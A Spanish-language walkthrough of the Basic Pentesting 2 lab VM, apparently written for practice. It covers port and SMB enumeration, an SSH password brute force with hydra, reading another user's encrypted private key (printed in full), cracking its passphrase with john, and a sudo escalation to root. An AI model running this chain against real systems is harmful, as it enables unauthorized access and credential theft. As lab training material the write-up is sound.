Escaneo de puertos

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-08 07:13 EDT
Nmap scan report for 192.168.5.174
Host is up (0.00019s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-title: Apache Tomcat/9.0.7
|_http-favicon: Apache Tomcat
MAC Address: 00:0C:29:AF:5C:F7 (VMware)
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2024-06-08T11:13:42
|_  start_date: N/A
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: mean: 1h20m00s, deviation: 2h18m33s, median: 0s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2024-06-08T07:13:42-04:00
```

```
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.80 seconds
```

enum4linux

Vemos varios puertos interesantes para enumerar por lo que haremos lo siguiente...

```
enum4linux <IP>
```

Info:

```
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ )
on Sat Jun  8 07:23:02 2024

 ==========================================( Target Information
)==========================================

Target ........... 192.168.5.174
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================( Enumerating Workgroup/Domain on 192.168.5.174
)============================


[+] Got domain/workgroup name: WORKGROUP


 ================================( Nbtstat Information for 192.168.5.174
)================================

Looking up status of 192.168.5.174
        BASIC2          <00> -         B <ACTIVE>  Workstation Service
        BASIC2          <03> -         B <ACTIVE>  Messenger Service
        BASIC2          <20> -         B <ACTIVE>  File Server Service
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ==================================( Session Check on 192.168.5.174
)==================================


[+] Server 192.168.5.174 allows sessions using username '', password ''


 ================================( Getting domain SID for 192.168.5.174
)================================

Domain Name: WORKGROUP
```

```
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup


 ================================( OS information on 192.168.5.174
)================================


[E] Can't get OS info with smbclient


[+] Got OS info for 192.168.5.174 from srvinfo:
        BASIC2         Wk Sv PrQ Unx NT SNT Samba Server 4.3.11-Ubuntu
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03


 =====================================( Users on 192.168.5.174
)=====================================

Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.

Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.

 ================================( Share Enumeration on 192.168.5.174
)================================


        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk
        IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP

[+] Attempting to map shares on 192.168.5.174

//192.168.5.174/Anonymous       Mapping: OK Listing: OK Writing: N/A

[E] Can't understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing *
//192.168.5.174/IPC$    Mapping: N/A Listing: N/A Writing: N/A

 ============================( Password Policy Information for 192.168.5.174
```

```
)==========================



[+] Attaching to 192.168.5.174 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] BASIC2
        [+] Builtin

[+] Password Info for Domain: BASIC2

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: 37 days 6 hours 21 minutes
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes
        [+] Locked Account Duration: 30 minutes
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: 37 days 6 hours 21 minutes



[+] Retieved partial password policy with rpcclient:


Password Complexity: Disabled
Minimum Password Length: 5


 ======================================( Groups on 192.168.5.174
)====================================


[+] Getting builtin groups:


[+]  Getting builtin group memberships:


[+]  Getting local groups:
```

```
[+]  Getting local group memberships:


[+]  Getting domain groups:


[+]  Getting domain group memberships:


 ==================( Users on 192.168.5.174 via RID cycling (RIDS: 500-550,1000-1050)
)==================


[I] Found new SID:
S-1-22-1

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon
username '', password ''

S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)
S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)

 ================================( Getting printer info for 192.168.5.174
)================================

No printers returned.
```

```
enum4linux complete on Sat Jun  8 07:23:19 2024
```

Vemos que hay un recurso compartido llamado `Anonymous`, por lo que haremos lo siguiente...

```
smbclient //<IP>/Anonymous -N
```

Vemos que hay un archivo llamado `staff.txt` el cual nos lo descargaremos...

```
get staff.txt
```

Y veremos el siguiente contenido...

```
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun,
but
this is how mistakes happen. (This means you too, Jan!)

-Kay
```

Descubrimos algunos nombres a parte de descubrir 2 nombres a parte con el `enum4linux` llamados...

```
Kay
Jan
```

El texto te da una idea a que se puede cargar por `smb` algun recurso con alguna `Reverse Shell` o algo parecido...

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.174/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.txt        (Status: 403) [Size: 301]
/.htaccess.html       (Status: 403) [Size: 302]
/.htaccess            (Status: 403) [Size: 297]
/.htpasswd.php        (Status: 403) [Size: 301]
/.htaccess.php        (Status: 403) [Size: 301]
/.htpasswd            (Status: 403) [Size: 297]
/.htpasswd.txt        (Status: 403) [Size: 301]
```

```
/.htpasswd.html       (Status: 403) [Size: 302]
/development          (Status: 200) [Size: 1132]
/index.html           (Status: 200) [Size: 158]
/server-status        (Status: 403) [Size: 301]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Vemos que hay un directorio llamado `/development` por lo que iremos a la siguiente `URL`...

```
URL = http://<IP>/development/
```

Con esto veremos 2 `.txt` llamados `dev.txt` y `t.txt` que el contenido de cada uno sera el siguiente...

dev.txt

```
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think
it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried
that example
you get to show off how it works (and it's the REST version of the example!). Oh, and
right now I'm
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J
```

t.txt

```
For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak
credentials,
and I was able to crack your hash really easily. You know our password policy, so
please follow
it? Change that password ASAP.

-K
```

Estos mensajes nos da a pensar que se puede explotar la `password` del usuario `jan`...

Por lo que si le tiramos un `hydra` pasaria lo siguiente...

Hydra

```
hydra -l jan -P <WORDLIST> ssh://<IP> -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-08 07:39:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
```

```
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries
(l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://192.168.5.174:22/
[STATUS] 419.00 tries/min, 419 tries in 00:01h, 14344014 to do in 570:34h, 30 active
[22][ssh] host: 192.168.5.174   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 23 final worker threads did not complete until
end.
[ERROR] 23 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-08 07:42:21
```

Por lo que vemos nos saca las credenciales del usuario `jan`...

```
User = jan
Password = armando
```

Nos conectamos por `ssh`...

```
ssh jan@<IP>
```

Una vez dentro del usuario nos vamos a la carpeta de `Kay` donde veremos un `.ssh` y si entramos dentro vemos que podemos leer la `id_rsa` privada a parte de que tiene un `authorized_keys` por lo que ya confirmamos que si nos podemos meter de forma externa con esa clave...

id_rsa

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqyklKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgtOfaly0bMqGIrM+eWVoXOrZPBlv8iyNTDdDE
3jRjqbOGlPs01hAWKIRxUPaEr18lcZ+OlY00Vw2oNL2xKUgtQpV2jwH04yGdXbfJ
LYWlXxnJJpVMhKC6a75pe4ZVxfmMt0QcK4oKO1aRGMqLFNwaPxJYV6HauUoVExN7
bUpo+eLYVs5mo5tbpWDhi0NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRTnrb
RVhY1CUf7xGNmbmzYHzNEwMppE2i8mFSaVFCJEC3cDgn5TvQUXfh6CJJRVrhdxVy
VqVjsot+CzF7mbWm5nFsTPPlOnndC6JmrUEUjeIbLzBcW6bX5s+b95eFeceWMmVe
B0WhqnPtDtVtg3sFdjxp0hgGXqK4bAMBnM4chFcK7RpvCRjsKyWYVEDJMYvc87Z0
ysvOpVn9WnFOUdON+U4pYP6PmNU4Zd2QekNIWYEXZIZMyypuGCFdA0SARf6/kKwG
oHOACCK3ihAQKKbO+SflgXBaHXb6k0ocMQAWIOxYJunPKN8bzzlQLJs1JrZXibhl
VaPeV7X25NaUyu5u4bgtFhb/f8aBKbel4XlWR+4HxbotpJx6RVByEPZ/kViOq3S1
GpwHSRZon320xA4hOPkcG66JDyHlS6B328uViI6Da6frYiOnA4TEjJTPO5RpcSEK
QKIg65gICbpcWj1U4I9mEHZeHc0r2lyufZbnfYUr0qCVo8+mS8X75seeoNz8auQL
4DI4IXITq5saCHP4y/ntmz1A3Q0FNjZXAqdFK/hTAdhMQ5diGXnNw3tbmD8wGveG
VfNSaExXeZA39jOgm3VboN6cAXpz124Kj0bEwzxCBzWKi0CPHFLYuMoDeLqP/NIk
oSXloJc8aZemIl5RAH5gDCLT4k67wei9j/JQ6zLUT0vSmLono1IiFdsMO4nUnyJ3
z+3XTDtZoUl5NiY4JjCPLhTNNjAlqnpcOaqad7gV3RD/asml2L2kB0UT8PrTtt+S
baXKPFH0dHmownGmDatJP+eMrc6S896+HAXvcvPxlKNtI7+jsNTwuPBCNtSFvo19
l9+xxd55YTVo1Y8RMwjopzx7h8oRt7U+Y9N/BVtbt+XzmYLnu+3qOq4W2qOynM2P
nZjVPpeh+8DBoucB5bfXsiSkNxNYsCED4lspxUE4uMS3yXBpZ/44SyY8KEzrAzaI
```

```
fn2nnjwQ1U2FaJwNtMN5OIshONDEABf9Ilaq46LSGpMRahNNXwzozh+/LGFQmGjI
I/zN/2KspUeW/5mqWwvFiK8QU38m7M+mli5ZX76snfJE9suva3ehHP2AeN5hWDMw
X+CuDSIXPo10RDX+OmmoExMQn5xc3LVtZ1RKNqono7fA21CzuCmXI2j/LtmYwZEL
OScgwNTLqpB6SfLDj5cFA5cdZLaXL1t7XDRzWggSnCt+6CxszEndyUOlri9EZ8XX
oHhZ45rgACPHcdWcrKCBfOQS01hJq9nSJe2W403lJmsx/U3YLauUaVgrHkFoejnx
CNpUtuhHcVQssR9cUi5it5toZ+iiDfLoyb+f82Y0wN5Tb6PTd/onVDtskIlfE731
DwOy3Zfl0l1FL6ag0iVwTrPBl1GGQoXf4wMbwv9bDF0Zp/6uatViV1dHeqPD8Otj
Vxfx9bkDezp2Ql2yohUeKBDu+7dYU9k5Ng0SQAk7JJeokD7/m5i8cFwq/g5VQa8r
sGsOxQ5Mr3mKf1n/w6PnBWXYh7n2lL36ZNFacO1V6szMaa8/489apbbjpxhutQNu
Eu/lP8xQlxmmpvPsDACMtqA1IpoVl9m+a+sTRE2EyT8hZIRMiuaaoTZIV4CHuY6Q
3QP52kfZzjBt3ciN2AmYv205ENIJvrsacPi3PZRNlJsbGxmxOkVXdvPC5mR/pnIv
wrrVsgJQJoTpFRShHjQ3qSoJ/r/8/D1VCVtD4UsFZ+j1y9kXKLaT/oK491zK8nwG
URUvqvBhDS7cq8C5rFGJUYD79guGh3He5Y7bl+mdXKNZLMlzOnauC5bKV4i+Yuj7
AGIExXRIJXlwF4G0bsl5vbydM55XlnBRyof62ucYS9ecrAr4NGMggcXfYYncxMyK
AXDKwSwwwf/yHEwX8ggTESv5Ad+BxdeMoiAk8c1Yy1tzwdaMZSnOSyHXuVlB4Jn5
phQL3R8OrZETsuXxfDVKrPeaOKEE1vhEVZQXVSOHGCuiDYkCA6al6WYdI9i2+uNR
ogjvVVBVVZIBH+w5YJhYtrInQ7DMqAyX1YB2pmC+leRgF3yrP9a2kLAaDk9dBQcV
ev6cTcfzhBhyVqml1WqwDUZtROTwfl80jo8QDlq+HE0bvCB/o2FxQKYEtgfH4/UC
D5qrsHAK15DnhH4IXrIkPlA799CXrhWi7mF5Ji41F3O7iAEjwKh6Q/YjgPvgj8LG
OsCP/iugxt7u+91J7qov/RBTrO7GeyX5Lc/SW1j6T6sjKEga8m9fS10h4TErePkT
t/CCVLBkM22Ewao8glguHN5VtaNH0mTLnpjfNLVJCDHl0hKzi3zZmdrxhql+/WJQ
4eaCAHk1hUL3eseN3ZpQWRnDGAAPxH+LgPyE8Sz1it8aPuP8gZABUFjBbEFMwNYB
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----
```

En nuestro `host` creamos el archivo `id_rsa` pegando el `id_rsa` del usuario `Kay`, una vez hecho eso hacemos lo siguiente...

```
chmod 600 id_rsa

ssh2john id_rsa > <FILE>
```

Info:

```
id_rsa:$sshng$1$16$6ABA7DE35CDB65070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de80
1a2712ef86e499d5cad1af838d19402729c471837fbdbe7eb172e8e9cd40ee52d959a3d772204241e3051
94ee7813ec99be3ced17455644ce550ad51edcb52b668bcb62e46b60a77e3cfc2e5bfe14c69db0d5d1be3
c3f1d18867173d8f01ee7b00d5e88f62b3d91c81f740e14862548f318bfbf510bae62e9fae40d2bf15f36
dd7d702400dfb74f9154e3d00454a049b599cb4c4070df59b18efd252d702a21a5f941f79731a70840e51
608701396955798d946e01686edc557b350263e279f971eee37846e07d3594b8669d25a656c26f85046b0
5f44edf9529dea4ce1f8193469485640909d9dbfd4f9d45ab2ede8c6aca494a53674fb1e53bae5bcf02a6
bacbea202bfc284db9d3ae446780aa8b431325948599c9ee32acb1137dcdbbe61cd555887a1642e0b4e7d
a972d1b32a188accf9e595a173ab64f065bfc8b23530dd0c4de3463a9b38694fb34d6101628847150f684
af5f25719f8e958d34570da834bdb129482d4295768f01f4e3219d5db7c92d85a55f19c926954c84a0ba6
bbe697b8655c5f98cb7441c2b8a0a3b569118ca8b14dc1a3f125857a1dab94a1513137b6d4a68f9e2d856
ce66a39b5ba560e18b43517e718fd6de9b9fb4ef6fbec009ac86cc774ba4802a666bffd21c114e7adb455
858d4251fef118d99b9b3607ccd130329a44da2f261526951422440b7703827e53bd05177e1e82249455a
e177157256a563b28b7e0b317b99b5a6e6716c4cf3e53a79dd0ba266ad41148de21b2f305c5ba6d7e6cf9
bf7978579c79632655e0745a1aa73ed0ed56d837b05763c69d218065ea2b86c03019cce1c84570aed1a6f
0918ec2b25985440c9318bdcf3b674cacbcea559fd5a714e51d38df94e2960fe8f98d53865dd907a43485
9811764864ccb2a6e18215d03448045febf90ac06a073800822b78a101028a6cef927e581705a1d76fa93
4a1c31001620ec5826e9cf28df1bcf39502c9b3526b65789b86555a3de57b5f6e4d694caee6ee1b82d161
6ff7fc68129b7a5e1795647ee07c5ba2da49c7a45507210f67f91588eab74b51a9c074916689f7db4c40e
2138f91c1bae890f21e54ba077dbcb95888e836ba7eb6223a70384c48c94cf3b946971210a40a220eb980
809ba5c5a3d54e08f6610765e1dcd2bda5cae7d96e77d852bd2a095a3cfa64bc5fbe6c79ea0dcfc6ae40b
```

```
e03238217213ab9b1a0873f8cbf9ed9b3d40dd0d0536365702a7452bf85301d84c4397621979cdc37b5b9
83f301af78655f352684c57799037f633a09b755ba0de9c017a73d76e0a8f46c4c33c4207358a8b408f1c
52d8b8ca0378ba8ffcd224a125e5a0973c6997a6225e51007e600c22d3e24ebbc1e8bd8ff250eb32d44f4
bd298ba27a3522215db0c3b89d49f2277cfedd74c3b59a1497936263826308f2e14cd363025aa7a5c39aa
9a77b815dd10ff6ac9a5d8bda4074513f0fad3b6df926da5ca3c51f47479a8c271a60dab493fe78cadce9
2f3debe1c05ef72f3f194a36d23bfa3b0d4f0b8f04236d485be8d7d97dfb1c5de79613568d58f113308e8
a73c7b87ca11b7b53e63d37f055b5bb7e5f39982e7bbedea3aae16daa3b29ccd8f9d98d53e97a1fbc0c1a
2e701e5b7d7b224a4371358b02103e25b29c54138b8c4b7c9706967fe384b263c284ceb0336887e7da79e
3c10d54d85689c0db4c379388b2138d0c40017fd2256aae3a2d21a93116a134d5f0ce8ce1fbf2c6150986
8c823fccdff62aca54796ff99aa5b0bc588af10537f26eccfa6962e595fbeac9df244f6cbaf6b77a11cfd
8078de615833305fe0ae0d22173e8d744435fe3a69a81313109f9c5cdcb56d67544a36aa27a3b7c0db50b
3b829972368ff2ed998c1910b392720c0d4cbaa907a49f2c38f970503971d64b6972f5b7b5c34735a0812
9c2b7ee82c6ccc49ddc943a5ae2f4467c5d7a07859e39ae00023c771d59caca0817ce412d35849abd9d22
5ed96e34de5266b31fd4dd82dab9469582b1e41687a39f108da54b6e84771542cb11f5c522e62b79b6867
e8a20df2e8c9bf9ff36634c0de536fa3d377fa27543b6c90895f13bdf50f03b2dd97e5d25d452fa6a0d22
5704eb3c19751864285dfe3031bc2ff5b0c5d19a7feae6ad5625757477aa3c3f0eb635717f1f5b9037b3a
76425db2a2151e2810eefbb75853d939360d1240093b2497a8903eff9b98bc705c2afe0e5541af2bb06b0
ec50e4caf798a7f59ffc3a3e70565d887b9f694bdfa64d15a70ed55eacccc69af3fe3cf5aa5b6e3a7186e
b5036e12efe53fcc509719a6a6f3ec0c008cb6a035229a1597d9be6beb13444d84c93f2164844c8ae69aa
13648578087b98e90dd03f9da47d9ce306dddc88dd80998bf6d3910d209bebb1a70f8b73d944d949b1b1b
19b13a455776f3c2e6647fa6722fc2bad5b202502684e91514a11e3437a92a09febffcfc3d55095b43e14
b0567e8f5cbd91728b693fe82b8f75ccaf27c0651152faaf0610d2edcabc0b9ac51895180fbf60b868771
dee58edb97e99d5ca3592cc9733a76ae0b96ca5788be62e8fb006204c574482579701781b46ec979bdbc9
d339e57967051ca87fadae7184bd79cac0af834632081c5df6189dcc4cc8a0170cac12c30c1fff21c4c17
f20813112bf901df81c5d78ca22024f1cd58cb5b73c1d68c6529ce4b21d7b95941e099f9a6140bdd1f0ea
d9113b2e5f17c354aacf79a38a104d6f844559417552387182ba20d890203a6a5e9661d23d8b6fae351a2
08ef5550555592011fec39609858b6b22743b0cca80c97d58076a660be95e460177cab3fd6b690b01a0e4
f5d0507157afe9c4dc7f384187256a9a5d56ab00d466d44e4f07e5f348e8f100e5abe1c4d1bbc207fa361
7140a604b607c7e3f5020f9aabb0700ad790e7847e085eb2243e503bf7d097ae15a2ee6179262e351773b
b880123c0a87a43f62380fbe08fc2c63ac08ffe2ba0c6deeefbdd49eeaa2ffd1053aceec67b25f92dcfd2
5b58fa4fab2328481af26f5f4b5d21e1312b78f913b7f08254b064336d84c1aa3c82582e1cde55b5a347d
264cb9e98df34b5490831e5d212b38b7cd999daf186a97efd6250e1e6820079358542f77ac78ddd9a5059
19c318000fc47f8b80fc84f12cf58adf1a3ee3fc8190015058c16c414cc0d6017b9a1fb032ee20e842573
b30fc3214ac5fb8962437477e81bb6479fa498f148924796d6d616218ec2a5fa0949def8542dc9b75fd95
b75c26fbe91ef9b06e61e90e0df20bb973f33471dab5e87f4c1f0a5d8a7f4e653a8edb337116fa6e5ed85
8

john --wordlist=<WORDLIST> <FILE>
```

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (id_rsa)
1g 0:00:00:00 DONE (2024-06-08 07:56) 16.66g/s 1379Kp/s 1379Kc/s 1379KC/s
bird..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Por lo que vemos sabemos la `password` de la comparacion del `id_rsa`, por lo que ya si que nos conectaremos mediante la clave privada por `ssh`...

```
ssh -i id_rsa kay@<IP>
```

Una vez hecho esto ya estariamos dentro con el usuario `Kay`...

En la home del mismo usuario, vemos que hay un archivo llamado `pass.bak` por lo que si lo leemos vemos lo siguiente...

```
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
```

Por lo que parece es la contraseña del usuario `kay`...

```
User = kay
Password = heresareallystrongpasswordthatfollowsthepasswordpolicy$$

sudo -l
```

Metemos esa `password` y veremos lo siguiente...

```
Matching Defaults entries for kay on basic2:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User kay may run the following commands on basic2:
    (ALL : ALL) ALL
```

Esto indica que tenemos todos los privilegios para poder ser `root`...

```
sudo su
```

Y ya seriamos `root`, por lo que leeremos la flag...

flag.txt (flag_final)

```
Congratulations! You've completed this challenge. There are two ways (that I'm aware
of) to gain
a shell, and two ways to privesc. I encourage you to find them all!

If you're in the target audience (newcomers to pentesting), I hope you learned
something. A few
takeaways from this challenge should be that every little bit of information you can
find can be
valuable, but sometimes you'll need to find several different pieces of information
and combine
them to make them useful. Enumeration is key! Also, sometimes it's not as easy as
just finding
an obviously outdated, vulnerable service right away with a port scan (unlike the
first entry
in this series). Usually you'll have to dig deeper to find things that aren't as
obvious, and
therefore might've been overlooked by administrators.

Thanks for taking the time to solve this VM. If you choose to create a writeup, I
hope you'll send
me a link! I can be reached at josiah@vt.edu. If you've got questions or feedback,
please reach
out to me.

Happy hacking!
```